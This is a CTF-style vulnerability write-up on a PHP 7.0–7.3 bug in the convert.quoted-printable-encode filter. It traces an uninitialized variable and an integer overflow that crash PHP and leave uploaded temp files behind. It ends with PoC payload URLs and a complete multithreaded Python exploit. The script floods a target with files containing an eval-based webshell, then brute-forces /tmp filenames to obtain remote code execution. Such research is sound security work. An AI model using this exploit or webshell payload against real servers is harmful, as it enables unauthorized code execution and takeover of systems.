## One Line PHP Challenge without session.upload ### Contact Me wupco1996@gmail.com ### Tribute to HITCON2018 This is an extension of [One Line PHP Challenge](https://github.com/orangetw/My-CTF-Web-Challenges#one-line-php-challenge) (Designed by 🍊). ### A new way to exploit PHP7.2 from LFI to RCE During the `HITCON2018` , I tried the filter:`convert.quoted-printable-encode` , but when I passed the characters of the oversized ascii code in the data section ``` php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf ``` I found the server's responded code is `500` , I tested it locally and found that the error was: ![](https://i.imgur.com/zkrybuy.png) Then I came up with the question: With such a simple filter function, with so few total data characters, why would it allocate so much memory until the limit is exceeded? After the game, I debugged `PHP7.2` locally and found that the final reason was to fall into the loop of `strfilter_convert_append_bucket()`, in this loop, memory allocation operations are performed, and the amount of memory allocated each time is doubled. [source code](https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1492) ```cpp // err will be "PHP_CONV_ERR_TOO_BIG" every time. err = php_conv_convert(inst->cd, &pt, &tcnt, &pd, &ocnt); ... case PHP_CONV_ERR_TOO_BIG: { char *new_out_buf; size_t new_out_buf_size; new_out_buf_size = out_buf_size << 1; /* new_out_buf_size = out_buf_size << 1 If out_buf_size is a small number, new_out_buf_size will bigger than out_buf_size for a long time loop. */ if (new_out_buf_size < out_buf_size) { if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) { //only here we can jump out the function. goto out_failure; } php_stream_bucket_append(buckets_out, new_bucket); out_buf_size = ocnt = initial_out_buf_size; out_buf = pemalloc(out_buf_size, persistent); pd = out_buf; } else { /* The code here is constantly trying alloc memory, because it is stuck in a loop, and the allocation size is multiplied each time, so it quickly exceeds the limit. */ new_out_buf = perealloc(out_buf, new_out_buf_size, persistent); pd = new_out_buf + (pd - out_buf); ocnt += (new_out_buf_size - out_buf_size); out_buf = new_out_buf; out_buf_size = new_out_buf_size; } } break; ``` According to the normal logic of PHP developers, if `err` is equal to `PHP_CONV_ERR_TOO_BIG`, it means that `out_buf_size` is a large number. By shifting left, it can lose the highest bit and become a small number, so it can enter the branch of `goto` then jump out this loop, but the problem here is that `err` is `PHP_CONV_ERR_TOO_BIG`, but `out_buf_size` is a small number. Why? Let's trace back and find the reason. #### Bug 1: uninitialized variable First, we should analyze the function `php_conv_convert()` It is defined in the first lines. ```cpp #define php_conv_convert(a, b, c, d, e) ((php_conv *)(a))->convert_op((php_conv *)(a), (b), (c), (d), (e)) ``` ![](https://i.imgur.com/hBOQSoH.jpg) `inst->cd->convert_op()` is called here, it is `php_conv_qprint_encode_convert()` ```cpp static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p) { php_conv_err_t err = PHP_CONV_ERR_SUCCESS; unsigned char *ps, *pd; size_t icnt, ocnt; unsigned int c; unsigned int line_ccnt; unsigned int lb_ptr; unsigned int lb_cnt; unsigned int trail_ws; int opts; static char qp_digits[] = "0123456789ABCDEF"; line_ccnt = inst->line_ccnt; opts = inst->opts; lb_ptr = inst->lb_ptr; lb_cnt = inst->lb_cnt; if ((in_pp == NULL || in_left_p == NULL) && (lb_ptr >=lb_cnt)) { return PHP_CONV_ERR_SUCCESS; } ps = (unsigned char *)(*in_pp); icnt = *in_left_p; pd = (unsigned char *)(*out_pp); ocnt = *out_left_p; trail_ws = 0; for (;;) { if (!(opts & PHP_CONV_QPRINT_OPT_BINARY) && inst->lbchars != NULL && inst->lbchars_len > 0) { ... ``` The arguments passed in it are: ![](https://i.imgur.com/Mxuclm1.png) ![](https://i.imgur.com/Wzem2PE.png) As expected, the codeable characters supported by `qprint` should be passed to [this branch](https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L896). But because the characters I entered contains the character which ascii code greater than `126`, it leads to the [else branch](https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L919). We can see `Inst->lbchars_len` is a very large number, so it enters the `if (ocnt < inst->lbchars_len + 1)` branch, causing `TOO BIG error` to be returned all the time. ```cpp } else { if (line_ccnt < 4) { if (ocnt < inst->lbchars_len + 1) { // The reason of the BUG err = PHP_CONV_ERR_TOO_BIG; break; } *(pd++) = '='; ocnt--; line_ccnt--; memcpy(pd, inst->lbchars, inst->lbchars_len); pd += inst->lbchars_len; ocnt -= inst->lbchars_len; line_ccnt = inst->line_len; } if (ocnt < 3) { err = PHP_CONV_ERR_TOO_BIG; break; } *(pd++) = '='; *(pd++) = qp_digits[(c >> 4)]; *(pd++) = qp_digits[(c & 0x0f)]; ocnt -= 3; line_ccnt -= 3; if (trail_ws > 0) { trail_ws--; } CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt); } ``` Why is `lbchars_len` so big? I found that the location where it is assigned the initial value is ```cpp static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent) { if (line_len < 4 && lbchars != NULL) { return PHP_CONV_ERR_TOO_BIG; } inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert; inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor; inst->line_ccnt = line_len; inst->line_len = line_len; if (lbchars != NULL) { inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars); // lbchars_len is assigned the initial value inst->lbchars_len = lbchars_len; } else { inst->lbchars = NULL; } inst->lbchars_dup = lbchars_dup; inst->persistent = persistent; inst->opts = opts; inst->lb_cnt = inst->lb_ptr = 0; return PHP_CONV_ERR_SUCCESS; } ``` `inst` 's initialized position is [here](https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1337) . ```cpp case PHP_CONV_QPRINT_ENCODE: { unsigned int line_len = 0; char *lbchars = NULL; size_t lbchars_len; int opts = 0; if (options != NULL) { ... } retval = pemalloc(sizeof(php_conv_qprint_encode), persistent); if (lbchars != NULL) { ... } else { if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) { goto out_failure; } } } break; ``` Because we use `php://` without attaching options to `convert.quoted-printable-encode`, the `options` here is NULL. Until the else branch, we can see that the parameters passed by it is ```cpp (php_conv_qprint_encode *) retval, 0, NULL , 0, 0, opts, persistent) ``` At this point, `lbchars` is NULL, causing `lbchars_len` not to be initialized. It is why `lbchars_len` is a big number, it is an uninitialized variable. #### Bug 2: Memory Control && Integer Overflow Because `inst->lbchars_len` is an uninitialized value, it is the value taken from the corresponding position in memory. `PHP` involves a lot of memory operations. Is it possible for us to control the whole value? By definition, we know that `lbchars_len` is `8 bytes` . By adjusting the length of the attached data, I find that some 8 bytes value of the request header are stored in `inst->lbchars_len`. For example: ![](https://i.imgur.com/eAz3Fn5.png) It was decoded by me from number,you can know it is `Content-`,and guess it is a part of `Content-Type`. Continue to adjust, I leaked the `param` of the url. ![](https://i.imgur.com/Tbf7cR0.png) ![](https://i.imgur.com/u4zS4Eq.png) ![](https://i.imgur.com/GyOnSSJ.png) So we can control the value of `inst->lbchars_len`, but since the resource content of `php://` can't contain `\x00`, we can only construct the content among `\x01-\xff`. When we see back ```cpp } else { if (line_ccnt < 4) { if (ocnt < inst->lbchars_len + 1) { // The reason of the BUG err = PHP_CONV_ERR_TOO_BIG; break; } *(pd++) = '='; ocnt--; line_ccnt--; memcpy(pd, inst->lbchars, inst->lbchars_len); pd += inst->lbchars_len; ocnt -= inst->lbchars_len; line_ccnt = inst->line_len; } if (ocnt < 3) { err = PHP_CONV_ERR_TOO_BIG; break; } *(pd++) = '='; *(pd++) = qp_digits[(c >> 4)]; *(pd++) = qp_digits[(c & 0x0f)]; ocnt -= 3; line_ccnt -= 3; if (trail_ws > 0) { trail_ws--; } CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt); } ``` We can see the second parameter of `memcpy()` is passed `NULL`, but the first one , the third parameter is controllable, if it is called, it will lead to a `segmentfault`. Though we can control `inst->lbchars_len`, we can't use `\x00` in http request , how to make `ocnt < inst->lbchars_len + 1` false? ( `ocnt` is the total length of data we passed to the filter) Here we have to construct a clever integer overflow, we control `inst->lbchars_len` as `\xff\xff\xff\xff\xff\xff\xff\xff` , and `inst->lbchars_len + 1` will be zero , so `ocnt < inst->lbchars_len + 1` is false now , and unexpected `memcpy()` will called , then it will cause a `segmentfault`. #### ~~Bug3~~ Feature : Temporary files cannot be recycled when php exits abnormally. If we POST files to an `apache-php` server, it will generate a temporary file ( default in `/tmp/`) , it will be recycled when the request is processed. But if PHP progress exits abnormally, the file cannot be recycled in time. So we can use the temporary files to getshell. It is crazy but it is possible. We can post 20 files one in one request by default, and when we posted about about `400,000` files , if we are not particularly bad luck,there will be files start with `php00[0-9][0-9a-zA-Z]{2}`, however it almost always appears files start with `php00[0-2][0-9a-zA-Z]{2}`. So it is a way to get shell. The premise is that your luck is not particularly bad :p I have tried it dozens of times and can getshell in a limited time (about 15min to 2hour). #### poc The following will assign `inst->lbchars_len` to the value of `12345678(string)` ``` php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA87654321AAAAAAAAAAAAAAAAAAAAAAAA ``` If we want to get a `segmentfault`, we should change them to `\xff`. ``` php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA ``` #### exp ```python import requests import threading import os import time import string import Queue from itertools import product from requests import ConnectionError lock = threading.Lock() filecount = 0 end_flag=0 target = "" payload = "php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA" files = {'file'+str(i):('webshell','@<?php header("HTTP/1.1 233 wupcotest");@eval($_GET[1]);?>'+str(i),'text/php') for i in range(20)} header = { 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Connection': 'close', } cookie = { "PHPSESSID":"d24jtsortojg3je8rcddb01k28", } def gentmpfile(): while 1: try: requests.post(url=target+payload,files=files,headers=header,timeout=2) print 'ok' except ConnectionError,e: if e.message[0] == 'Connection aborted.': lock.acquire() global filecount if filecount >= 400000: lock.release() return 0 filecount = filecount + 20 print "[*]count: "+str(filecount) lock.release() continue else: continue except: continue file_q = Queue.Queue() def genfilename(prefix,charset): global file_q for i,j,k in product(charset,charset,charset): file_q.put(prefix+i+j+k) def getshell(): global file_q global end_flag while 1: if end_flag == 1: return 0 try: filename = file_q.get() req = requests.head(target+'/tmp/php'+filename,timeout=2) if req.status_code == 233: print '[*] Found shell: /tmp/php' +filename lock.acquire() end_flag = 1 lock.release() return 0 else: continue except: file_q.put(filename) continue tlist = [] glist = [] charset = string.digits + string.letters revcharset = charset[::-1] charset2 = string.letters + string.digits print '[*] generate temp file' for i in xrange(0,2): glist.append(threading.Thread(target=genfilename,args=('00'+str(i),charset,))) glist.append(threading.Thread(target=genfilename,args=('00'+str(i),revcharset,))) glist.append(threading.Thread(target=genfilename,args=('00'+str(i),charset2,))) for g in glist: g.start() for i in xrange(0,10): tlist.append(threading.Thread(target=gentmpfile,args=())) for t in tlist: t.start() for t in tlist: t.join() tlist2 = [] print '[*] brute force webshell' for i in xrange(0,10): tlist2.append(threading.Thread(target=getshell,args=())) for t in tlist2: t.start() ``` #### Vulnerable Version All `>7.0` version is vulnerable ```php <?php file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA')); ?> ``` PHP7.3 ![](https://i.imgur.com/ezqwtN1.png) PHP7.2 ![](https://i.imgur.com/uhCIY6P.png) PHP7.1 ![](https://i.imgur.com/Cavt2Vi.png) PHP7.0 ![](https://i.imgur.com/DMCuah7.png) ### Thanks to @markak @marche147 @orangetw